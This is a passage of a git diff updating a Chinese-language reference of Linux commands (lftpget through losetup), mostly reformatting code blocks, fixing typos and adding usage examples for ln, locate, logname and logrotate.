set pget:default-n 5
@@ -116,4 +116,3 @@ set pget:default-n 5
这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。
-
\ No newline at end of file
diff --git a/command/lftpget.md b/command/lftpget.md
index 75bc61aba22..f1ada704778 100644
--- a/command/lftpget.md
+++ b/command/lftpget.md
@@ -1,29 +1,28 @@
lftpget
===
-
+
调用lftp指令下载指定的文件
## 补充说明
**lftpget命令** 通过调用lftp指令下载指定的文件。
-### 语法
+### 语法
-```
+```shell
lftpget(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:继续先前的下载;
-d:输出调试信息;
-v:输出详细信息。
```
-### 参数
+### 参数
文件:指定要下载的文件,文件必须是合法的URL路径。
-
\ No newline at end of file
diff --git a/command/lha.md b/command/lha.md
index f7e0701b817..b64238a43a5 100644
--- a/command/lha.md
+++ b/command/lha.md
@@ -1,15 +1,15 @@
lha
===
-
+
压缩或解压缩lzh格式文件
## 补充说明
**lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。
-### 选项
+### 选项
-```
+```shell
-a或a:压缩文件,并加入到压缩文件内。
-a<0/1/2>/u0/1/2> 压缩文件时,采用不同的文件头。
-c或c:压缩文件,重新建构新的压缩文件后,再将其加入。
@@ -34,13 +34,12 @@ lha
-z或 z:不压缩文件,直接把它加入,更新压缩文件。
```
-### 实例
+### 实例
-```
+```shell
lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件
lha -a abc2 /home/hnlinux #压缩目录
lha -xiw=agis abc #解压文件abc,到当前目录
```
-
\ No newline at end of file
diff --git a/command/lilo.md b/command/lilo.md
index ca5dee341c9..9e92770164b 100644
--- a/command/lilo.md
+++ b/command/lilo.md
@@ -1,6 +1,6 @@
lilo
===
-
+
安装核心载入开机管理程序
## 补充说明
@@ -11,15 +11,15 @@ Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个
虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。
-### 语法
+### 语法
-```
+```shell
lilo(选项)
```
-### 选项
+### 选项
-```
+```shell
-b<外围设备代号>:指定安装lilo之处的外围设备代号;
-c:使用紧致映射模式;
-C<配置文件>:指定lilo的配置文件;
@@ -43,7 +43,7 @@ lilo(选项)
-V:显示版本信息。
```
-### 实例
+### 实例
**使用 LILO 作为引导加载程序**
@@ -51,7 +51,7 @@ lilo(选项)
要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入:
-```
+```shell
/sbin/lilo -v -v
```
@@ -67,7 +67,7 @@ LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成
lilo.conf 示例文件:
-```
+```shell
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
@@ -103,7 +103,7 @@ other=/dev/hda
在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行:
-```
+```shell
/sbin/lilo -v -v
```
@@ -134,4 +134,3 @@ LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例
关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。
-
\ No newline at end of file
diff --git a/command/ln.md b/command/ln.md
index 4a0f9d5f720..e9dd3df16d4 100644
--- a/command/ln.md
+++ b/command/ln.md
@@ -1,86 +1,148 @@
ln
===
-用来为文件创件连接
+用来为文件创建链接
## 补充说明
-**ln命令** 用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。
+**ln命令** 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。
注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。
-### 语法
+### 语法
-```
+```shell
ln [选项]... [-T] 目标 链接名 (第一种格式)
或:ln [选项]... 目标 (第二种格式)
或:ln [选项]... 目标... 目录 (第三种格式)
或:ln [选项]... -t 目录 目标... (第四种格式)
```
-### 选项
-
-```
- --backup[=CONTROL] 为每个已存在的目标文件创建备份文件
--b 类似--backup,但不接受任何参数
--d, -F, --directory 创建指向目录的硬链接(只适用于超级用户)
--f, --force 强行删除任何已存在的目标文件
--i, --interactive 覆盖既有文件之前先询问用户;
--L, --logical 取消引用作为符号链接的目标
--n, --no-dereference 把符号连接的目的目录视为一般文件;
--P, --physical 直接将硬链接到符号链接
--r, --relative 创建相对于链接位置的符号链接
--s, --symbolic 对源文件建立符号连接,而非硬连接;
--S, --suffix=SUFFIX 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它;
--t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY
--T, --no-target-directory 将“LINK_NAME”视为常规文件
--v, --verbose 打印每个链接文件的名称
- --help 显示此帮助信息并退出
- --version 显示版本信息并退出
+### 选项
+
+```shell
+--backup[=CONTROL] # 为每个已存在的目标文件创建备份文件
+-b # 类似--backup,但不接受任何参数
+-d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户)
+-f, --force # 强行删除任何已存在的目标文件
+-i, --interactive # 覆盖既有文件之前先询问用户
+-L, --logical # 取消引用作为符号链接的目标
+-n, --no-dereference # 把符号链接的目的目录视为一般文件
+-P, --physical # 直接将硬链接到符号链接
+-r, --relative # 创建相对于链接位置的符号链接
+-s, --symbolic # 对源文件建立符号链接,而非硬链接
+-S, --suffix=SUFFIX # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它
+-t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY
+-T, --no-target-directory # 将“LINK_NAME”视为常规文件
+-v, --verbose # 打印每个链接文件的名称
+--help # 显示此帮助信息并退出
+--version # 显示版本信息并退出
```
-### 参数
+### 参数
-* 源文件:指定连接的源文件。如果使用`-s`选项创建符号连接,则“源文件”可以是文件或者目录。创建硬连接时,则“源文件”参数只能是文件;
-* 目标文件:指定源文件的目标连接文件。
+* 源文件:指定链接的源文件。如果使用`-s`选项创建符号链接,则“源文件”可以是文件或者目录。创建硬链接时,则“源文件”参数只能是文件。
+* 目标文件:指定源文件的目标链接文件。
-```bash
+```shell
none, off # 不进行备份(即使使用了--backup 选项)
numbered, t # 备份文件加上数字进行排序
existing, nil # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
simple, never # 永远使用普通方式备份
```
-### 实例
+### 实例
-将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c
+将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c
-```
+```shell
cd /usr/mengqc
-ln /mub1/m2.c /usr/liu/a2.c
+ln mub1/m2.c /usr/liu/a2.c
```
在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。
+**创建软链接**
+
在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1`
-```
+```shell
ln -s /usr/mengqc/mub1 /usr/liu/abc
```
执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。
-## 扩展知识
+**创建硬链接**
+
+给文件创建硬链接,为 `log2022.log` 创建硬链接 `ln2022`,`log2022.log` 与 `ln2022` 的各项属性相同
+
+```shell
+ln log2022.log ln2022
+```
+
+输出:
+
+```
+[root@localhost test]# ll
+lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log
+-rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log
+[root@localhost test]# ln log2022.log ln2022
+[root@localhost test]# ll
+lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log
+-rw-r--r-- 2 root bin 61 11-13 06:03 ln2022
+-rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log
+```
+
+## 扩展知识
Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。
文件链接有两种形式,即硬链接和符号链接。
-### 硬链接
+ln功能说明:是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。
+
+> :warning: ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化。
+
+### 软链接:
+
+1. 软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式
+2. 软链接可以 跨文件系统 ,硬链接不可以
+3. 软链接可以对一个不存在的文件名进行链接
+4. 软链接可以对目录进行链接
+
+### 硬链接
+
+建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。
+
-建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。
+1. 硬链接,以文件副本的形式存在。但不占用实际空间。
+2. 不允许给目录创建硬链接
+3. 硬链接只有在同一个文件系统中才能创建
-创建硬链接后,己经存在的文件的I节点号(Inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为l。
+```shell
+ls -ailR
+.:
+total 16
+922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .
+393217 drwxrwxrwt. 9 root root 4096 Jun 17 11:19 ..
+922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 liu
+922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
+922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 mub1
+
+./liu:
+total 8
+922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
+922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
+922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
+
+./mub1:
+total 8
+922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
+922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
+922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
+```
+
+创建硬链接后,己经存在的文件的索引节点号(inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为1。
在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。
@@ -89,13 +151,18 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的
* 不能对目录文件做硬链接。
* 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。
-### 符号链接
+### 符号链接(软连接)
-符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件),其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。
+符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。
-!符号连接
+```shell
+$ ls -il
+total 0
+922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt
+922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt
+```
-与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。
+与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的索引节点号;而硬链接并没有建立新文件。
符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。
@@ -106,7 +173,7 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的
* 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。
* 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。
* 符号链接的大小是其链接文件的路径名中的字节数。
-* 当用`ln -s`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。
+* 当用`ls -l`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。
+
-
diff --git a/command/lnstat.md b/command/lnstat.md
index 6d99c3a05d4..7d2edcfcf75 100644
--- a/command/lnstat.md
+++ b/command/lnstat.md
@@ -1,21 +1,21 @@
lnstat
===
-
+
显示Linux系统的网路状态
## 补充说明
**lnstat命令** 用来显示Linux系统的网路状态。
-### 语法
+### 语法
-```
+```shell
lnstat(选项)
```
-### 选项
+### 选项
-```
+```shell
-h:显示帮助信息;
-V:显示指令版本信息;
-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态;
@@ -27,4 +27,3 @@ lnstat(选项)
```
-
\ No newline at end of file
diff --git a/command/local.md b/command/local.md
new file mode 100644
index 00000000000..ad2fd4e27ff
--- /dev/null
+++ b/command/local.md
@@ -0,0 +1,50 @@
+local
+===
+
+在函数内定义局部变量。
+
+## 概要
+
+```shell
+local [-aAfFgilnrtux] [-p] [name[=value] ...]
+```
+
+## 主要用途
+
+- 在函数内定义局部变量
+- 显示局部变量
+- 在函数内定义全局变量
+
+## 选项
+
+```shell
+local命令的选项与declare命令的相同,请参考declare命令的选项。
+```
+
+## 参数
+
+name(可选):变量名或已定义函数名。
+
+value(可选):变量的值。
+
+## 返回值
+
+`local`返回true除非你提供了非法选项、赋值错误或是在函数外使用`local`命令。
+
+## 例子
+
+```shell
+相关例子请参考declare命令
+```
+
+## 错误用法
+
+- 在函数外使用该命令。
+
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令以及`man bash`、`info bash`的相应部分。
+
+
+
diff --git a/command/locate.md b/command/locate.md
index 60c87d12a2d..fd1cdc36ac8 100644
--- a/command/locate.md
+++ b/command/locate.md
@@ -15,30 +15,44 @@ locate指令和find找寻档案的功能类似,但locate是透过update程序
### 语法
-```
-locate [选择参数] [样式]
+```shell
+locate [-d path | --database=path] [-e | -E | --[non-]existing] [-i |
+ --ignore-case] [-0 | --null] [-c | --count] [-w | --wholename] [-b |
+ --basename] [-l N | --limit=N] [-S | --statistics] [-r | --regex ]
+ [--regextype R] [--max-database-age D] [-P | -H | --nofollow] [-L |
+ --follow] [--version] [-A | --all] [-p | --print] [--help] pattern...
```
### 选项
-```
--e 将排除在寻找的范围之外。
--1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。
--f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。
--q 安静模式,不会显示任何错误讯息。
--n 至多显示 n个输出。
--r 使用正规运算式 做寻找的条件。
--o 指定资料库存的名称。
--d 指定资料库的路径
--h 显示辅助讯息
--V 显示程式的版本讯息
+```shell
+-b, --basename # 仅匹配路径名的基本名称
+-c, --count # 只输出找到的数量
+-d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db
+-e, --existing # 仅打印当前现有文件的条目
+-1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。
+-0, --null # 在输出上带有NUL的单独条目
+-S, --statistics # 不搜索条目,打印有关每个数据库的统计信息
+-q # 安静模式,不会显示任何错误讯息。
+-P, --nofollow, -H # 检查文件存在时不要遵循尾随的符号链接
+-l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目
+-n # 至多显示 n个输出。
+-m, --mmap # 被忽略,为了向后兼容
+-r, --regexp REGEXP # 使用基本正则表达式
+ --regex # 使用扩展正则表达式
+-q, --quiet # 安静模式,不会显示任何错误讯息
+-s, --stdio # 被忽略,为了向后兼容
+-o # 指定资料库存的名称。
+-h, --help # 显示帮助
+-i, --ignore-case # 忽略大小写
+-V, --version # 显示版本信息
```
### 实例
-实例1:查找和pwd相关的所有文件
+实例1:查找和 `pwd` 相关的所有文件
-```
+```shell
root ~ # locate pwd
/bin/pwd
/etc/.pwd.lock
@@ -57,9 +71,9 @@ root ~ # locate pwd
/usr/share/help/el/empathy/irc-join-pwd.page
```
-实例2: 搜索etc目录下所有以sh开头的文件
+实例2: 搜索 etc 目录下所有以 sh 开头的文件
-```
+```shell
root ~ # locate /etc/sh
/etc/shadow
/etc/shadow-
@@ -68,7 +82,7 @@ root ~ # locate /etc/sh
实例3:搜索etc目录下,所有以m开头的文件
-```
+```shell
root ~ # locate /etc/m
/etc/magic
/etc/magic.mime
@@ -78,4 +92,9 @@ root ~ # locate /etc/m
/etc/mate-settings-daemon
```
-
+忽略大小写搜索当前用户目录下所有以 `r` 开头的文件 :
+
+```shell
+locate -i ~/r
+```
+
diff --git a/command/logger.md b/command/logger.md
index 63ac132abe7..e1d345a6c66 100644
--- a/command/logger.md
+++ b/command/logger.md
@@ -7,15 +7,15 @@ logger
**logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块
-### 语法
+### 语法
-```
+```shell
logger [options] [message]
```
-### 选项
+### 选项
-```
+```shell
-T, --tcp 使用流连接(TCP)
-d, --udp 使用数据报(UDP)
-i, --id 逐行记录每一次logger的进程ID
@@ -34,9 +34,9 @@ logger [options] [message]
### 例子
-```
+```shell
logger -p syslog.info "backup.sh is starting"
```
-
+
diff --git a/command/login.md b/command/login.md
index 0fc52813b06..0b77bf4a5b2 100644
--- a/command/login.md
+++ b/command/login.md
@@ -1,28 +1,27 @@
login
===
-
+
登录系统或切换用户身份
## 补充说明
**login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。
-### 语法
+### 语法
-```
+```shell
login(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-p:告诉login指令不销毁环境变量;
-h:指定远程服务器的主机名。
```
-### 参数
+### 参数
用户名:指定登录使用的用户名。
-
\ No newline at end of file
diff --git a/command/logname.md b/command/logname.md
index 545efe2d100..763a0c9040b 100644
--- a/command/logname.md
+++ b/command/logname.md
@@ -1,24 +1,40 @@
logname
===
-
-用来显示用户名称
-## 补充说明
+打印当前终端登录用户的名称。
-**logname命令** 用来显示用户名称。
+## 概要
-### 语法
-
-```
-logname(选项)
+```shell
+logname [OPTION]...
```
-### 选项
+## 主要用途
+
+- 打印当前终端登录用户的名称。
+## 选项
+
+```shell
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
---help:在线帮助;
---vesion:显示版本信息。
+
+## 返回值
+
+返回0表示成功,返回非0值表示失败。
+
+## 例子
+
+```shell
+[root@localhost ~]# logname
+root
```
+### 注意
+
+1. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, `whoami`返回的是当前用户 `user2`, `logname` 返回的是 `root`,大家可以自行实践验证一下。
+
+2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 logname`,`info coreutils 'logname invocation'`。
+
-
\ No newline at end of file
diff --git a/command/logout.md b/command/logout.md
index b647bd157fd..56d97325dd7 100644
--- a/command/logout.md
+++ b/command/logout.md
@@ -1,17 +1,16 @@
logout
===
-
+
退出当前登录的Shell
## 补充说明
**logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。
-### 语法
+### 语法
-```
+```shell
logout
```
-
\ No newline at end of file
diff --git a/command/logrotate.md b/command/logrotate.md
index 9d358b1f16d..ceb668afb73 100644
--- a/command/logrotate.md
+++ b/command/logrotate.md
@@ -1,21 +1,21 @@
logrotate
===
-
-统日志进行轮转、压缩和删除
+
+系统日志进行轮转、压缩和删除
## 补充说明
**logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。
-### 语法
+### 语法
-```
+```shell
logrotate(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-?或--help:在线帮助;
-d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况;
-f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然;
@@ -24,9 +24,75 @@ logrotate(选项)(参数)
-usage:显示指令基本用法。
```
-### 参数
+### 参数
配置文件:指定lograote指令的配置文件。
+### 实例
+
+crontab 会定时调用logrotate命令 在 `/etc/cron.daily/logrotate` 文件中配置使用
+
+logrotate的配置文件`/etc/logrotate.conf` 定义引用`/etc/logrotate.d`目录下的一些自定义的log配置
+
+在`/etc/logrotate.d`目录下创建任意后缀名的文件,即可使用对日志进行轮转
+```shell
+/tmp/log/log.txt
+{
+ copytruncate
+ daily
+ rotate 30
+ missingok
+ ifempty
+ compress
+ noolddir
+}
+```
+
+这个配置文件代表的意思是将`/tmp/log/log.txt`文件 进行轮转压缩
+
+```
+compress 通过gzip 压缩转储以后的日志
+nocompress 不做gzip压缩处理
+copytruncate 用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。
+nocopytruncate 备份日志文件不过不截断
+create mode owner group 轮转时指定创建新文件的属性,如create 0777 nobody nobody
+nocreate 不建立新的日志文件
+delaycompress 和compress 一起使用时,转储的日志文件到下一次转储时才压缩
+nodelaycompress 覆盖 delaycompress 选项,转储同时压缩
+missingok 如果日志丢失,不报错继续滚动下一个日志
+errors address 专储时的错误信息发送到指定的Email 地址
+ifempty 即使日志文件为空文件也做轮转,这个是logrotate的缺省选项。
+notifempty 当日志文件为空时,不进行轮转
+mail address 把转储的日志文件发送到指定的E-mail 地址
+nomail 转储时不发送日志文件
+olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统
+noolddir 转储后的日志文件和当前日志文件放在同一个目录下
+sharedscripts 运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本
+prerotate 在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行
+postrotate 在logrotate转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行
+daily 指定转储周期为每天
+weekly 指定转储周期为每周
+monthly 指定转储周期为每月
+rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份
+dateext 使用当期日期作为命名格式
+dateformat .%s 配合dateext使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合dateext使用,只支持 %Y %m %d %s 这四个参数
+size(或minsize) log-size 当日志文件到达指定的大小时才转储
+```
+### 注意事项
+
+在`/etc/logrotate.d`目录下创建任意后缀名的文件
+```shell
+/tmp/log/log*
+{
+ copytruncate
+ daily
+ rotate 30
+ missingok
+ ifempty
+ compress
+ noolddir
+}
+```
+这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的
+
-
\ No newline at end of file
diff --git a/command/logsave.md b/command/logsave.md
index cb777feae3b..586e20f4d8c 100644
--- a/command/logsave.md
+++ b/command/logsave.md
@@ -1,28 +1,27 @@
logsave
===
-
+
将命令的输出信息保存到指定的日志文件
## 补充说明
**logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。
-### 语法
+### 语法
-```
+```shell
logsave(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:追加信息到指定的日志文件中。
```
-### 参数
+### 参数
* 日志文件:指定记录运行信息的日志文件;
* 指令:需要执行的指令。
-
\ No newline at end of file
diff --git a/command/logwatch.md b/command/logwatch.md
index 8871ef723b0..b0c7f6c091d 100644
--- a/command/logwatch.md
+++ b/command/logwatch.md
@@ -1,21 +1,21 @@
logwatch
===
-
+
可定制和可插入式的日志监视系统
## 补充说明
**logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。
-### 语法
+### 语法
-```
+```shell
logwatch(选项)
```
-### 选项
+### 选项
-```
+```shell
--detail<报告详细程度>:指定日志报告的详细程度;
--logfile<日志文件>:仅处理指定的日志文件;
--service<服务名>:仅处理指定服务的日志文件;
@@ -31,23 +31,23 @@ logwatch(选项)
--help:显示指令的帮助信息。
```
-### 实例
+### 实例
检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧):
-```
+```shell
rpm -qa logwatch
```
如果主机上没有logwatch,则执行:
-```
+```shell
rpm -Ivh logwatch***.rpm
```
如果有老版本的logwatch,则执行:
-```
+```shell
rpm -Uvh logwatch***.rpm
```
@@ -62,10 +62,9 @@ rpm -Uvh logwatch***.rpm
如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。
-```
+```shell
logwatch --detail High --Service All --range All --print 基本就可以显示出所有日志的情况了
logwatch --service sshd --detail High 只看sshd的日志情况
```
-
\ No newline at end of file
diff --git a/command/look.md b/command/look.md
index 0edd24f0527..719fb211a7c 100644
--- a/command/look.md
+++ b/command/look.md
@@ -1,31 +1,30 @@
look
===
-
+
显示文件中以指定字符串开头的任意行
## 补充说明
**look命令** 用于显示文件中以指定字符串开头的任意行。
-### 语法
+### 语法
-```
+```shell
look(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:使用另一个字典文件web2,该文件也位于/usr/dict目录下;
-d:只对比英文字母和数字,其余一概忽略不予比对;
-f:忽略字符大小写差别;
-t<字尾字符串>:设置字尾字符串。
```
-### 参数
+### 参数
* 字符串:指定要查找的字符串;
* 文件:指定要查找的目标文件。
-
\ No newline at end of file
diff --git a/command/losetup.md b/command/losetup.md
index 75b24af505a..bedaea698b2 100644
--- a/command/losetup.md
+++ b/command/losetup.md
@@ -1,22 +1,22 @@
losetup
===
-
+
设定与控制循环(loop)设备
## 补充说明
**losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。
-### 语法
+### 语法
-```
+```shell
losetup [ -e encryption ] [ -o offset ] loop_device file
losetup [ -d ] loop_device
```
-### 选项
+### 选项
-```
+```shell
-a 显示所有循环设备的状态。
-d 卸除设备。
-e <加密选项> 启动加密编码 。
@@ -24,12 +24,12 @@ losetup [ -d ] loop_device
-o <偏移量>设置数据偏移量,单位是字节。
```
-### 参数
+### 参数
* loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。
* file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img
-### loop设备介绍
+### loop设备介绍
在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。
@@ -37,34 +37,33 @@ losetup [ -d ] loop_device
至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。
-### 实例
+### 实例
创建空的磁盘镜像文件,这里创建一个1.44M的软盘:
-```
+```shell
dd if=/dev/zero of=floppy.img bs=512 count=2880
```
-使用 losetup将磁盘镜像文件虚拟成快设备:
+使用 losetup 将磁盘镜像文件虚拟成块设备:
-```
+```shell
losetup /dev/loop1 floppy.img
```
挂载块设备:
-```
+```shell
mount /dev/loop0 /tmp
```
